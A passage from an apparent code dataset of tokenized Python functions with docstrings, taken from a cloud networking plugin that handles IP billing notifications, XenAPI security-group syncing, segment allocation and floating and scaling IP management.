ipaddress.network_id == PUBLIC_NETWORK_ID<EOL>else False,<EOL>})<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(event_type))<EOL><DEDENT>return payload<EOL>", "docstring": "Method builds a payload out of the passed arguments.\n\n    Parameters:\n        `ipaddress`: the models.IPAddress object\n        `event_type`: USAGE,CREATE,DELETE,SUSPEND,or UNSUSPEND\n        `start_time`: startTime for cloudfeeds\n        `end_time`: endTime for cloudfeeds\n    Returns a dictionary suitable to notify billing.\n    Message types mapping to cloud feeds for references:\n        ip.exists       - USAGE\n        ip.add          - CREATE\n        ip.delete       - DELETE\n        ip.associate    - UP\n        ip.disassociate  - DOWN\n    Refer to: http://rax.io/cf-api for more details.", "id": "f10747:m2"}
{"signature": "def build_full_day_ips(query, period_start, period_end):", "body": "<EOL>ip_list = query.filter(models.IPAddress.version == <NUM_LIT:4>).filter(models.IPAddress.network_id == PUBLIC_NETWORK_ID).filter(models.IPAddress.used_by_tenant_id is not None).filter(models.IPAddress.allocated_at != null()).filter(models.IPAddress.allocated_at < period_start).filter(or_(models.IPAddress._deallocated is False,<EOL>models.IPAddress.deallocated_at == null(),<EOL>models.IPAddress.deallocated_at >= period_end)).all()<EOL>return ip_list<EOL>", "docstring": "Method to build an IP list for the case 1\n\n    when the IP was allocated before the period start\n    and is still allocated after the period end.\n    This method only looks at public IPv4 addresses.", "id": "f10747:m3"}
{"signature": "def build_partial_day_ips(query, period_start, period_end):", "body": "<EOL>ip_list = query.filter(models.IPAddress.version == <NUM_LIT:4>).filter(models.IPAddress.network_id == PUBLIC_NETWORK_ID).filter(models.IPAddress.used_by_tenant_id is not None).filter(and_(models.IPAddress.allocated_at != null(),<EOL>models.IPAddress.allocated_at >= period_start,<EOL>models.IPAddress.allocated_at < period_end)).filter(or_(models.IPAddress._deallocated is False,<EOL>models.IPAddress.deallocated_at == null(),<EOL>models.IPAddress.deallocated_at >= period_end)).all()<EOL>return ip_list<EOL>", "docstring": "Method to build an IP list for the case 2\n\n    when the IP was allocated after the period start and\n    is still allocated after the period end.\n    This method only looks at public IPv4 addresses.", "id": "f10747:m4"}
{"signature": "def calc_periods(hour=<NUM_LIT:0>, minute=<NUM_LIT:0>):", "body": "<EOL>period_end = datetime.datetime.utcnow().replace(hour=hour,<EOL>minute=minute,<EOL>second=<NUM_LIT:0>,<EOL>microsecond=<NUM_LIT:0>)<EOL>period_start = period_end - datetime.timedelta(days=<NUM_LIT:1>)<EOL>period_end -= datetime.timedelta(seconds=<NUM_LIT:1>)<EOL>return (period_start, period_end)<EOL>", "docstring": "Returns a tuple of start_period and end_period.\n\n    Assumes that the period is 24-hrs.\n    Parameters:\n        - `hour`: the hour from 0 to 23 when the period ends\n        - `minute`: the minute from 0 to 59 when the period ends\n    This method will calculate the end of the period as the closest hour/minute\n    going backwards.\n    It will also calculate the start of the period as the passed hour/minute\n    but 24 hrs ago.\n    Example, if we pass 0, 0 - we will get the events from 0:00 midnight of the\n    day before yesterday until today's midnight.\n    If we pass 2,0 - we will get the start time as 2am of the previous morning\n    till 2am of today's morning.\n    By default it's midnight.", "id": "f10747:m5"}
{"signature": "def convert_timestamp(ts):", "body": "return ts.replace(microsecond=<NUM_LIT:0>).isoformat() + '<STR_LIT>'<EOL>", "docstring": "Converts the timestamp to a format suitable for Billing.\n\n    Examples of a good timestamp for startTime, endTime, and eventTime:\n        '2016-05-20T00:00:00Z'\n    We must drop microseconds so that Yagi does not get upset.\n    Note the trailing 'Z'. Python does not add the 'Z' so we tack it on\n    ourselves.", "id": "f10747:m7"}
{"signature": "def _now():", "body": "return datetime.datetime.utcnow().replace(microsecond=<NUM_LIT:0>)<EOL>", "docstring": "Method to get the utcnow without microseconds", "id": "f10747:m8"}
{"signature": "def __init__(self, device_id, record, ref):", "body": "self.device_id = device_id<EOL>self.record = record<EOL>self.ref = ref<EOL>self.success = False<EOL>", "docstring": "Constructs VIF\n\n        `device_id` and `mac_address` should be strings if they will later be\n        compared to decoded VIF instances (via from_string).\n\n        `ref` is the OpaqueRef string for the vif as returned from xenapi.", "id": "f10748:c0:m0"}
{"signature": "def get_instances(self, session):", "body": "LOG.debug(\"<STR_LIT>\")<EOL>recs = session.xenapi.VM.get_all_records()<EOL>is_inst = lambda r: (r['<STR_LIT>'].lower() == '<STR_LIT>' and<EOL>not r['<STR_LIT>'] and<EOL>not r['<STR_LIT>'] and<EOL>('<STR_LIT>' in r['<STR_LIT>'] or<EOL>r['<STR_LIT>'].startswith('<STR_LIT>')))<EOL>instances = dict()<EOL>for vm_ref, rec in recs.iteritems():<EOL><INDENT>if not is_inst(rec):<EOL><INDENT>continue<EOL><DEDENT>instances[vm_ref] = VM(ref=vm_ref,<EOL>uuid=rec[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>vifs=rec[\"<STR_LIT>\"],<EOL>dom_id=rec[\"<STR_LIT>\"])<EOL><DEDENT>return instances<EOL>", "docstring": "Returns a dict of `VM OpaqueRef` (str) -> `xapi.VM`.", "id": "f10748:c1:m3"}
{"signature": "def get_interfaces(self):", "body": "LOG.debug(\"<STR_LIT>\")<EOL>with self.sessioned() as session:<EOL><INDENT>instances = self.get_instances(session)<EOL>recs = session.xenapi.VIF.get_all_records()<EOL><DEDENT>interfaces = set()<EOL>for vif_ref, rec in recs.iteritems():<EOL><INDENT>vm = instances.get(rec[\"<STR_LIT>\"])<EOL>if not vm:<EOL><INDENT>continue<EOL><DEDENT>device_id = vm.uuid<EOL>interfaces.add(VIF(device_id, rec, vif_ref))<EOL><DEDENT>return interfaces<EOL>", "docstring": "Returns a set of VIFs from `get_instances` return value.", "id": "f10748:c1:m4"}
{"signature": "def update_interfaces(self, added_sg, updated_sg, removed_sg):", "body": "if not (added_sg or updated_sg or removed_sg):<EOL><INDENT>return<EOL><DEDENT>with self.sessioned() as session:<EOL><INDENT>self._set_security_groups(session, added_sg)<EOL>self._unset_security_groups(session, removed_sg)<EOL>combined = added_sg + updated_sg + removed_sg<EOL>self._refresh_interfaces(session, combined)<EOL><DEDENT>", "docstring": "Handles changes to interfaces' security groups\n\n        Calls refresh_interfaces on argument VIFs. Set security groups on\n        added_sg's VIFs. Unsets security groups on removed_sg's VIFs.", "id": "f10748:c1:m8"}
{"signature": "def is_isonet_vif(vif):", "body": "nicira_iface_id = vif.record.get('<STR_LIT>').get('<STR_LIT>')<EOL>if nicira_iface_id:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Determine if a vif is on isonet\n\n    Returns True if a vif belongs to an isolated network by checking\n    for a nicira interface id.", "id": "f10749:m1"}
{"signature": "def partition_vifs(xapi_client, interfaces, security_group_states):", "body": "added = []<EOL>updated = []<EOL>removed = []<EOL>for vif in interfaces:<EOL><INDENT>if ('<STR_LIT>' in CONF.QUARK.environment_capabilities and<EOL>is_isonet_vif(vif)):<EOL><INDENT>continue<EOL><DEDENT>vif_has_groups = vif in security_group_states<EOL>if vif.tagged and vif_has_groups andsecurity_group_states[vif][sg_cli.SECURITY_GROUP_ACK]:<EOL><INDENT>continue<EOL><DEDENT>if vif.tagged:<EOL><INDENT>if vif_has_groups:<EOL><INDENT>updated.append(vif)<EOL><DEDENT>else:<EOL><INDENT>removed.append(vif)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if vif_has_groups:<EOL><INDENT>added.append(vif)<EOL><DEDENT><DEDENT><DEDENT>return added, updated, removed<EOL>", "docstring": "Splits VIFs into three explicit categories and one implicit\n\n    Added - Groups exist in Redis that have not been ack'd and the VIF\n            is not tagged.\n            Action: Tag the VIF and apply flows\n    Updated - Groups exist in Redis that have not been ack'd and the VIF\n              is already tagged\n              Action: Do not tag the VIF, do apply flows\n    Removed - Groups do NOT exist in Redis but the VIF is tagged\n              Action: Untag the VIF, apply default flows\n    Self-Heal - Groups are ack'd in Redis but the VIF is untagged. We treat\n                this case as if it were an \"added\" group.\n                Action: Tag the VIF and apply flows\n    NOOP - The VIF is not tagged and there are no matching groups in Redis.\n           This is our implicit category\n           Action: Do nothing", "id": "f10749:m2"}
{"signature": "def get_groups_to_ack(groups_to_ack, init_sg_states, curr_sg_states):", "body": "security_groups_changed = []<EOL>for vif in groups_to_ack:<EOL><INDENT>initial_state = init_sg_states[vif][sg_cli.SECURITY_GROUP_HASH_ATTR]<EOL>current_state = curr_sg_states[vif][sg_cli.SECURITY_GROUP_HASH_ATTR]<EOL>bad_match_msg = ('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % vif)<EOL>if len(initial_state) != len(current_state):<EOL><INDENT>security_groups_changed.append(vif)<EOL>LOG.info(bad_match_msg)<EOL><DEDENT>elif len(initial_state) > <NUM_LIT:0>:<EOL><INDENT>for rule in current_state:<EOL><INDENT>if rule not in initial_state:<EOL><INDENT>security_groups_changed.append(vif)<EOL>LOG.info(bad_match_msg)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>ret = [group for group in groups_to_ack<EOL>if group not in security_groups_changed]<EOL>return ret<EOL>", "docstring": "Compares initial security group rules with current sg rules.\n\n    Given the groups that were successfully returned from\n        xapi_client.update_interfaces call, compare initial and current\n        security group rules to determine if an update occurred during\n        the window that the xapi_client.update_interfaces was executing.\n        Return a list of vifs whose security group rules have not changed.", "id": "f10749:m4"}
{"signature": "def run():", "body": "groups_client = sg_cli.SecurityGroupsClient()<EOL>xapi_client = xapi.XapiClient()<EOL>interfaces = set()<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>interfaces = xapi_client.get_interfaces()<EOL><DEDENT>except Exception:<EOL><INDENT>LOG.exception(\"<STR_LIT>\")<EOL>_sleep()<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>sg_states = groups_client.get_security_group_states(interfaces)<EOL>new_sg, updated_sg, removed_sg = partition_vifs(xapi_client,<EOL>interfaces,<EOL>sg_states)<EOL>xapi_client.update_interfaces(new_sg, updated_sg, removed_sg)<EOL>groups_to_ack = [v for v in new_sg + updated_sg if v.success]<EOL>sg_sts_curr = groups_client.get_security_group_states(interfaces)<EOL>groups_to_ack = get_groups_to_ack(groups_to_ack, sg_states,<EOL>sg_sts_curr)<EOL>ack_groups(groups_client, groups_to_ack)<EOL><DEDENT>except Exception:<EOL><INDENT>LOG.exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>_sleep()<EOL>continue<EOL><DEDENT>_sleep()<EOL><DEDENT>", "docstring": "Fetches changes and applies them to VIFs periodically\n\n    Process as of RM11449:\n    * Get all groups from redis\n    * Fetch ALL VIFs from Xen\n    * Walk ALL VIFs and partition them into added, updated and removed\n    * Walk the final \"modified\" VIFs list and apply flows to each", "id": "f10749:m5"}
{"signature": "@staticmethod<EOL><INDENT>def delete_tenant_quota(context, tenant_id):<DEDENT>", "body": "tenant_quotas = context.session.query(Quota)<EOL>tenant_quotas = tenant_quotas.filter_by(tenant_id=tenant_id)<EOL>tenant_quotas.delete()<EOL>", "docstring": "Delete the quota entries for a given tenant_id.\n\n        Atfer deletion, this tenant will use default quota values in conf.", "id": "f10750:c0:m0"}
{"signature": "def _chunks(self, iterable, chunk_size):", "body": "iterator = iter(iterable)<EOL>chunk = list(itertools.islice(iterator, <NUM_LIT:0>, chunk_size))<EOL>while chunk:<EOL><INDENT>yield chunk<EOL>chunk = list(itertools.islice(iterator, <NUM_LIT:0>, chunk_size))<EOL><DEDENT>", "docstring": "Chunks data into chunk with size<=chunk_size.", "id": "f10751:c0:m1"}
{"signature": "def _check_collisions(self, new_range, existing_ranges):", "body": "def _contains(num, r1):<EOL><INDENT>return (num >= r1[<NUM_LIT:0>] and<EOL>num <= r1[<NUM_LIT:1>])<EOL><DEDENT>def _is_overlap(r1, r2):<EOL><INDENT>return (_contains(r1[<NUM_LIT:0>], r2) or<EOL>_contains(r1[<NUM_LIT:1>], r2) or<EOL>_contains(r2[<NUM_LIT:0>], r1) or<EOL>_contains(r2[<NUM_LIT:1>], r1))<EOL><DEDENT>for existing_range in existing_ranges:<EOL><INDENT>if _is_overlap(new_range, existing_range):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check for overlapping ranges.", "id": "f10751:c0:m2"}
{"signature": "def _try_allocate(self, context, segment_id, network_id):", "body": "LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (network_id, segment_id, self.segment_type))<EOL>filter_dict = {<EOL>\"<STR_LIT>\": segment_id,<EOL>\"<STR_LIT>\": self.segment_type,<EOL>\"<STR_LIT>\": False<EOL>}<EOL>available_ranges = db_api.segment_allocation_range_find(<EOL>context, scope=db_api.ALL, **filter_dict)<EOL>available_range_ids = [r[\"<STR_LIT:id>\"] for r in available_ranges]<EOL>try:<EOL><INDENT>with context.session.begin(subtransactions=True):<EOL><INDENT>filter_dict = {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": segment_id,<EOL>\"<STR_LIT>\": self.segment_type,<EOL>\"<STR_LIT>\": available_range_ids<EOL>}<EOL>allocations = db_api.segment_allocation_find(<EOL>context, lock_mode=True, **filter_dict).limit(<NUM_LIT:100>).all()<EOL>if allocations:<EOL><INDENT>allocation = random.choice(allocations)<EOL>update_dict = {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": network_id<EOL>}<EOL>allocation = db_api.segment_allocation_update(<EOL>context, allocation, **update_dict)<EOL>LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (allocation[\"<STR_LIT:id>\"], network_id, segment_id,<EOL>self.segment_type))<EOL>return allocation<EOL><DEDENT><DEDENT><DEDENT>except Exception:<EOL><INDENT>LOG.exception(\"<STR_LIT>\")<EOL><DEDENT>LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (network_id, segment_id, self.segment_type))<EOL>", "docstring": "Find a deallocated network segment id and reallocate it.\n\n        NOTE(morgabra) This locks the segment table, but only the rows\n        in use by the segment, which is pretty handy if we ever have\n        more than 1 segment or segment type.", "id": "f10751:c0:m8"}
{"signature": "def execute():", "body": "", "docstring": "Process providernets request", "id": "f10752:c0:m0"}
{"signature": "def _create_flip(context, flip, port_fixed_ips):", "body": "if port_fixed_ips:<EOL><INDENT>context.session.begin()<EOL>try:<EOL><INDENT>ports = [val['<STR_LIT:port>'] for val in port_fixed_ips.values()]<EOL>flip = db_api.port_associate_ip(context, ports, flip,<EOL>port_fixed_ips.keys())<EOL>for port_id in port_fixed_ips:<EOL><INDENT>fixed_ip = port_fixed_ips[port_id]['<STR_LIT>']<EOL>flip = db_api.floating_ip_associate_fixed_ip(context, flip,<EOL>fixed_ip)<EOL><DEDENT>flip_driver = registry.DRIVER_REGISTRY.get_driver()<EOL>flip_driver.register_floating_ip(flip, port_fixed_ips)<EOL>context.session.commit()<EOL><DEDENT>except Exception:<EOL><INDENT>context.session.rollback()<EOL>raise<EOL><DEDENT><DEDENT>billing.notify(context, billing.IP_ASSOC, flip)<EOL>", "docstring": "Associates the flip with ports and creates it with the flip driver\n\n    :param context: neutron api request context.\n    :param flip: quark.db.models.IPAddress object representing a floating IP\n    :param port_fixed_ips: dictionary of the structure:\n    {\"<id of port>\": {\"port\": <quark.db.models.Port>,\n     \"fixed_ip\": \"<fixed ip address>\"}}\n    :return: None", "id": "f10753:m6"}
{"signature": "def _update_flip(context, flip_id, ip_type, requested_ports):", "body": "<EOL>notifications = {<EOL>billing.IP_ASSOC: set(),<EOL>billing.IP_DISASSOC: set()<EOL>}<EOL>context.session.begin()<EOL>try:<EOL><INDENT>flip = db_api.floating_ip_find(context, id=flip_id, scope=db_api.ONE)<EOL>if not flip:<EOL><INDENT>if ip_type == ip_types.SCALING:<EOL><INDENT>raise q_exc.ScalingIpNotFound(id=flip_id)<EOL><DEDENT>raise q_exc.FloatingIpNotFound(id=flip_id)<EOL><DEDENT>current_ports = flip.ports<EOL>req_port_ids = [request_port.get('<STR_LIT>')<EOL>for request_port in requested_ports]<EOL>curr_port_ids = [curr_port.id for curr_port in current_ports]<EOL>added_port_ids = [port_id for port_id in req_port_ids<EOL>if port_id and port_id not in curr_port_ids]<EOL>removed_port_ids = [port_id for port_id in curr_port_ids<EOL>if port_id not in req_port_ids]<EOL>remaining_port_ids = set(curr_port_ids) - set(removed_port_ids)<EOL>if (ip_type == ip_types.FLOATING and curr_port_ids and<EOL>curr_port_ids == req_port_ids):<EOL><INDENT>d = dict(flip_id=flip_id, port_id=curr_port_ids[<NUM_LIT:0>])<EOL>raise q_exc.PortAlreadyAssociatedToFloatingIp(**d)<EOL><DEDENT>if (ip_type == ip_types.FLOATING and<EOL>not curr_port_ids and not req_port_ids):<EOL><INDENT>raise q_exc.FloatingIpUpdateNoPortIdSupplied()<EOL><DEDENT>flip_subnet = v._make_subnet_dict(flip.subnet)<EOL>for added_port_id in added_port_ids:<EOL><INDENT>port = _get_port(context, added_port_id)<EOL>nw = port.network<EOL>nw_ports = v._make_ports_list(nw.ports)<EOL>fixed_ips = [ip.get('<STR_LIT>') for p in nw_ports<EOL>for ip in p.get('<STR_LIT>')]<EOL>gw_ip = flip_subnet.get('<STR_LIT>')<EOL>if gw_ip in fixed_ips:<EOL><INDENT>port_with_gateway_ip = None<EOL>for port in nw_ports:<EOL><INDENT>for ip in port.get('<STR_LIT>'):<EOL><INDENT>if gw_ip in ip.get('<STR_LIT>'):<EOL><INDENT>port_with_gateway_ip = port<EOL>break<EOL><DEDENT><DEDENT><DEDENT>port_id = port_with_gateway_ip.get('<STR_LIT:id>')<EOL>network_id = port_with_gateway_ip.get('<STR_LIT>')<EOL>raise q_exc.FixedIpAllocatedToGatewayIp(port_id=port_id,<EOL>network_id=network_id)<EOL><DEDENT><DEDENT>port_fixed_ips = {}<EOL>for port_id in remaining_port_ids:<EOL><INDENT>port = db_api.port_find(context, id=port_id, scope=db_api.ONE)<EOL>fixed_ip = _get_flip_fixed_ip_by_port_id(flip, port_id)<EOL>port_fixed_ips[port_id] = {'<STR_LIT:port>': port, '<STR_LIT>': fixed_ip}<EOL><DEDENT>for port_id in removed_port_ids:<EOL><INDENT>port = db_api.port_find(context, id=port_id, scope=db_api.ONE)<EOL>flip = db_api.port_disassociate_ip(context, [port], flip)<EOL>notifications[billing.IP_DISASSOC].add(flip)<EOL>fixed_ip = _get_flip_fixed_ip_by_port_id(flip, port_id)<EOL>if fixed_ip:<EOL><INDENT>flip = db_api.floating_ip_disassociate_fixed_ip(<EOL>context, flip, fixed_ip)<EOL><DEDENT><DEDENT>for port_id in added_port_ids:<EOL><INDENT>port = db_api.port_find(context, id=port_id, scope=db_api.ONE)<EOL>if not port:<EOL><INDENT>raise n_exc.PortNotFound(port_id=port_id)<EOL><DEDENT>if any(ip for ip in port.ip_addresses<EOL>if (ip.get('<STR_LIT>') == ip_types.FLOATING)):<EOL><INDENT>raise q_exc.PortAlreadyContainsFloatingIp(port_id=port_id)<EOL><DEDENT>if any(ip for ip in port.ip_addresses<EOL>if (ip.get('<STR_LIT>') == ip_types.SCALING)):<EOL><INDENT>raise q_exc.PortAlreadyContainsScalingIp(port_id=port_id)<EOL><DEDENT>fixed_ip = _get_next_available_fixed_ip(port)<EOL>LOG.info('<STR_LIT>' % fixed_ip)<EOL>if not fixed_ip:<EOL><INDENT>raise q_exc.NoAvailableFixedIpsForPort(port_id=port_id)<EOL><DEDENT>port_fixed_ips[port_id] = {'<STR_LIT:port>': port, '<STR_LIT>': fixed_ip}<EOL>flip = db_api.port_associate_ip(context, [port], flip, [port_id])<EOL>notifications[billing.IP_ASSOC].add(flip)<EOL>flip = db_api.floating_ip_associate_fixed_ip(context, flip,<EOL>fixed_ip)<EOL><DEDENT>flip_driver = registry.DRIVER_REGISTRY.get_driver()<EOL>if not remaining_port_ids and not added_port_ids:<EOL><INDENT>flip_driver.remove_floating_ip(flip)<EOL><DEDENT>elif added_port_ids and not curr_port_ids:<EOL><INDENT>flip_driver.register_floating_ip(flip, port_fixed_ips)<EOL><DEDENT>else:<EOL><INDENT>flip_driver.update_floating_ip(flip, port_fixed_ips)<EOL><DEDENT>context.session.commit()<EOL><DEDENT>except Exception:<EOL><INDENT>context.session.rollback()<EOL>raise<EOL><DEDENT>for notif_type, flip_set in notifications.iteritems():<EOL><INDENT>for flip in flip_set:<EOL><INDENT>billing.notify(context, notif_type, flip)<EOL><DEDENT><DEDENT>context.session.refresh(flip)<EOL>return flip<EOL>", "docstring": "Update a flip based IPAddress\n\n    :param context: neutron api request context.\n    :param flip_id: id of the flip or scip\n    :param ip_type: ip_types.FLOATING | ip_types.SCALING\n    :param requested_ports: dictionary of the structure:\n    {\"port_id\": \"<id of port>\", \"fixed_ip\": \"<fixed ip address>\"}\n    :return: quark.models.IPAddress", "id": "f10753:m8"}
{"signature": "def create_floatingip(context, content):", "body": "LOG.info('<STR_LIT>' %<EOL>(id, context.tenant_id, content))<EOL>network_id = content.get('<STR_LIT>')<EOL>if not network_id:<EOL><INDENT>raise n_exc.BadRequest(resource='<STR_LIT>',<EOL>msg='<STR_LIT>')<EOL><DEDENT>fixed_ip_address = content.get('<STR_LIT>')<EOL>ip_address = content.get('<STR_LIT>')<EOL>port_id = content.get('<STR_LIT>')<EOL>port = None<EOL>port_fixed_ip = {}<EOL>network = _get_network(context, network_id)<EOL>if port_id:<EOL><INDENT>port = _get_port(context, port_id)<EOL>fixed_ip = _get_fixed_ip(context, fixed_ip_address, port)<EOL>port_fixed_ip = {port.id: {'<STR_LIT:port>': port, '<STR_LIT>': fixed_ip}}<EOL><DEDENT>flip = _allocate_ip(context, network, port, ip_address, ip_types.FLOATING)<EOL>_create_flip(context, flip, port_fixed_ip)<EOL>return v._make_floating_ip_dict(flip, port_id)<EOL>", "docstring": "Allocate or reallocate a floating IP.\n\n    :param context: neutron api request context.\n    :param content: dictionary describing the floating ip, with keys\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.  All keys will be populated.\n\n    :returns: Dictionary containing details for the new floating IP.  If values\n        are declared in the fields parameter, then only those keys will be\n        present.", "id": "f10753:m10"}
{"signature": "def update_floatingip(context, id, content):", "body": "LOG.info('<STR_LIT>' %<EOL>(id, context.tenant_id, content))<EOL>if '<STR_LIT>' not in content:<EOL><INDENT>raise n_exc.BadRequest(resource='<STR_LIT>',<EOL>msg='<STR_LIT>')<EOL><DEDENT>requested_ports = []<EOL>if content.get('<STR_LIT>'):<EOL><INDENT>requested_ports = [{'<STR_LIT>': content.get('<STR_LIT>')}]<EOL><DEDENT>flip = _update_flip(context, id, ip_types.FLOATING, requested_ports)<EOL>return v._make_floating_ip_dict(flip)<EOL>", "docstring": "Update an existing floating IP.\n\n    :param context: neutron api request context.\n    :param id: id of the floating ip\n    :param content: dictionary with keys indicating fields to update.\n        valid keys are those that have a value of True for 'allow_put'\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.\n\n    :returns: Dictionary containing details for the new floating IP.  If values\n        are declared in the fields parameter, then only those keys will be\n        present.", "id": "f10753:m11"}
{"signature": "def delete_floatingip(context, id):", "body": "LOG.info('<STR_LIT>' % (id, context.tenant_id))<EOL>_delete_flip(context, id, ip_types.FLOATING)<EOL>", "docstring": "deallocate a floating IP.\n\n    :param context: neutron api request context.\n    :param id: id of the floating ip", "id": "f10753:m12"}
{"signature": "def get_floatingip(context, id, fields=None):", "body": "LOG.info('<STR_LIT>' % (id, context.tenant_id))<EOL>filters = {'<STR_LIT>': ip_types.FLOATING, '<STR_LIT>': False}<EOL>floating_ip = db_api.floating_ip_find(context, id=id, scope=db_api.ONE,<EOL>**filters)<EOL>if not floating_ip:<EOL><INDENT>raise q_exc.FloatingIpNotFound(id=id)<EOL><DEDENT>return v._make_floating_ip_dict(floating_ip)<EOL>", "docstring": "Retrieve a floating IP.\n\n    :param context: neutron api request context.\n    :param id: The UUID of the floating IP.\n    :param fields: a list of strings that are valid keys in a\n        floating IP dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.\n\n    :returns: Dictionary containing details for the floating IP.  If values\n        are declared in the fields parameter, then only those keys will be\n        present.", "id": "f10753:m13"}
{"signature": "def get_floatingips(context, filters=None, fields=None, sorts=['<STR_LIT:id>'],<EOL>limit=None, marker=None, page_reverse=False):", "body": "LOG.info('<STR_LIT>' %<EOL>(context.tenant_id, filters, fields))<EOL>floating_ips = _get_ips_by_type(context, ip_types.FLOATING,<EOL>filters=filters, fields=fields)<EOL>return [v._make_floating_ip_dict(flip) for flip in floating_ips]<EOL>", "docstring": "Retrieve a list of floating ips.\n\n    :param context: neutron api request context.\n    :param filters: a dictionary with keys that are valid keys for\n        a floating ip as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictionary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n    :param fields: a list of strings that are valid keys in a\n        floating IP dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.\n\n    :returns: List of floating IPs that are accessible to the tenant who\n        submits the request (as indicated by the tenant id of the context)\n        as well as any filters.", "id": "f10753:m14"}
{"signature": "def get_floatingips_count(context, filters=None):", "body": "LOG.info('<STR_LIT>' %<EOL>(context.tenant_id, filters))<EOL>if filters is None:<EOL><INDENT>filters = {}<EOL><DEDENT>filters['<STR_LIT>'] = False<EOL>filters['<STR_LIT>'] = ip_types.FLOATING<EOL>count = db_api.ip_address_count_all(context, filters)<EOL>LOG.info('<STR_LIT>' % (count,<EOL>context.tenant_id))<EOL>return count<EOL>", "docstring": "Return the number of floating IPs.\n\n    :param context: neutron api request context\n    :param filters: a dictionary with keys that are valid keys for\n        a floating IP as listed in the RESOURCE_ATTRIBUTE_MAP object\n        in neutron/api/v2/attributes.py.  Values in this dictionary\n        are an iterable containing values that will be used for an exact\n        match comparison for that value.  Each result returned by this\n        function will have matched one of the values for each key in\n        filters.\n\n    :returns: The number of floating IPs that are accessible to the tenant who\n        submits the request (as indicated by the tenant id of the context)\n        as well as any filters.\n\n    NOTE: this method is optional, as it was not part of the originally\n          defined plugin API.", "id": "f10753:m15"}
{"signature": "def create_scalingip(context, content):", "body": "LOG.info('<STR_LIT>',<EOL>context.tenant_id, content)<EOL>network_id = content.get('<STR_LIT>')<EOL>ip_address = content.get('<STR_LIT>')<EOL>requested_ports = content.get('<STR_LIT>', [])<EOL>network = _get_network(context, network_id)<EOL>port_fixed_ips = {}<EOL>for req_port in requested_ports:<EOL><INDENT>port = _get_port(context, req_port['<STR_LIT>'])<EOL>fixed_ip = _get_fixed_ip(context, req_port.get('<STR_LIT>'),<EOL>port)<EOL>port_fixed_ips[port.id] = {\"<STR_LIT:port>\": port, \"<STR_LIT>\": fixed_ip}<EOL><DEDENT>scip = _allocate_ip(context, network, None, ip_address, ip_types.SCALING)<EOL>_create_flip(context, scip, port_fixed_ips)<EOL>return v._make_scaling_ip_dict(scip)<EOL>", "docstring": "Allocate or reallocate a scaling IP.\n\n    :param context: neutron api request context.\n    :param content: dictionary describing the scaling ip, with keys\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.  All keys will be populated.\n\n    :returns: Dictionary containing details for the new scaling IP.  If values\n        are declared in the fields parameter, then only those keys will be\n        present.", "id": "f10753:m16"}
{"signature": "def update_scalingip(context, id, content):", "body": "LOG.info('<STR_LIT>' %<EOL>(id, context.tenant_id, content))<EOL>requested_ports = content.get('<STR_LIT>', [])<EOL>flip = _update_flip(context, id, ip_types.SCALING, requested_ports)<EOL>return v._make_scaling_ip_dict(flip)<EOL>", "docstring": "Update an existing scaling IP.\n\n    :param context: neutron api request context.\n    :param id: id of the scaling ip\n    :param content: dictionary with keys indicating fields to update.\n        valid keys are those that have a value of True for 'allow_put'\n        as listed in the RESOURCE_ATTRIBUTE_MAP object in\n        neutron/api/v2/attributes.py.\n\n    :returns: Dictionary containing details for the new scaling IP.  If values\n        are declared in the fields parameter, then only those keys will be\n        present.", "id": "f10753:m17"}
{"signature": "def delete_scalingip(context, id):", "body": "LOG.info('<STR_LIT>' % (id, context.tenant_id))<EOL>_delete_flip(context, id, ip_types.SCALING)<EOL>", "docstring": "Deallocate a scaling IP.\n\n    :param context: neutron api request context.\n    :param id: id of the scaling ip", "id": "f10753:m18"}
{"signature": "def get_scalingip(context, id, fields=None):", "body": "LOG.info('<STR_LIT>' % (id, context.tenant_id))<EOL>filters = {'<STR_LIT>': ip_types.SCALING, '<STR_LIT>': False}<EOL>scaling_ip = db_api.floating_ip_find(context, id=id, scope=db_api.ONE,<EOL>**filters)<EOL>if not scaling_ip:<EOL><INDENT>raise q_exc.ScalingIpNotFound(id=id)<EOL><DEDENT>return v._make_scaling_ip_dict(scaling_ip)<EOL>", "docstring": "Retrieve a scaling IP.\n\n    :param context: neutron api request context.\n    :param id: The UUID of the scaling IP.\n    :param fields: a list of strings that are valid keys in a\n        scaling IP dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.\n\n    :returns: Dictionary containing details for the scaling IP.  If values\n        are declared in the fields parameter, then only those keys will be\n        present.", "id": "f10753:m19"}
